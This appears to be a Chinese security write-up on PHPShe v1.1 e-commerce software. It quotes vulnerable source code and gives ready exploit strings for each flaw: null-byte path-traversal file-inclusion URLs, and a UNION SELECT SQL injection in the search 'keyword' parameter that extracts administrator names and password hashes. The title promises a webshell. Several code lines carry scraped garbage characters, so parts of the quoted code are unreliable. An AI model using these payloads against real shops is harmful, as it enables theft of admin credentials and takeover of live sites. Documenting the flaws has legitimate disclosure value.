phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
, V2 }  F4 N/ ]: ]1 o/* Phpshe v1.1 Vulnerability
( [7 _: f+ @( O8 @2 |8 ?! M( e. n3 v! s/* ========================
/* By: : Kn1f3
; O+ e& l4 W& }6 P) ]0 q/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ I& h& p7 D2 [' c!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
) ?2 h0 a- Q$ i: J# ?!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
8 b/ y. P& s2 w! {1 |8 dsession_start();
" p9 ?% D) l- a/ q: p% s/ r& i6 w& Q!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- n. b1 a6 }$ e' A& O# @9 @0 V!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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5 @& `- @& x; p* q9 d" J0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
9 U0 V9 C. r5 R5 u; y) f: U7 ~?>
4 m, b& P5 G/ T//common 文件 第15行开始
+ C' H/ t4 U/ m+ o# h7 L9 Q6 aurl路由配置
5 Z& d0 U0 t7 X$ g9 c" B$module = $mod = $act = 'index';
) n  b' o2 R" Y- m5 X: L$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ J5 }; x8 k% T# z  _/ `$ s0 I0 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 y& |) l& }+ y2 E# @0 M$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
! m- q$ m; c' e  M//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
* q2 E' P8 [8 h" F1 T4 B& {/ B) H$category_id = intval($id);
. h0 l0 @+ j5 k8 U$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
1 G9 d- i: S, n$ M" s( {$sqlwhere = " and `product_state` = 1";
9 k8 L1 l) c1 kpe_lead('hook/category.hook.php');
8 ]8 z3 X; Z5 a. j+ `1 d( o/ }if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 g  E& R& Z2 m}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ b# H$ s0 P9 R+ u1 \( x- qif ($_g_orderby) {
8 l" y% |+ P4 d7 j1 n$orderby = explode('_', $_g_orderby);
! w* q! B4 d4 Z7 w* ~, U& F$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
4 E: W, K- T/ S}
$ }, a) U+ b" ?+ ^& r3 Relse {
8 c) K$ w6 |; T) k! f$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
& e6 u4 p  T' z& f( [/ }7 m* Z5 e$product_hotlist = product_hotlist();
- {7 V% K* Y  y, Q/ i//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
' {) F2 m3 K$ I, Oinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
3 D: e, M  F. }public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
: t) H: F* T7 D& s- B$ E* L{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
* x0 E1 X- z* p: e# |9 Y0 \/ \return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
4 D# K6 D5 c1 {, D% H7 l5 G& \}
//exp
" J( Y; E/ w  F  |& jproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
( w9 M+ Q" c: ~

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

3 y2 b' [0 u. Q/ s5 K" D$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

' c  e3 z3 m; A5 @! [foreach($cache_payway as $k => $v) {

' ]* Z/ T5 {4 n) h$ O+ ?) {' \  ~$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

. h$ C4 Y) J1 V4 H; P1 g$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! \! s  k, H2 z. Iforeach ($info_list as $v) {

! F$ ~9 E: N9 `$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

6 L1 G& ~8 d+ e, V5 \include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

1 \9 L% g6 Y: U. ?else {

pe_error('支付错误...');

& T. ]( \, P; r( v; r}

}

$seo = pe_seo('选择支付方式');

) E; x/ d! q; e: q, dinclude(pe_tpl('order_pay.html'));

7 s8 J& f' R7 x) Ebreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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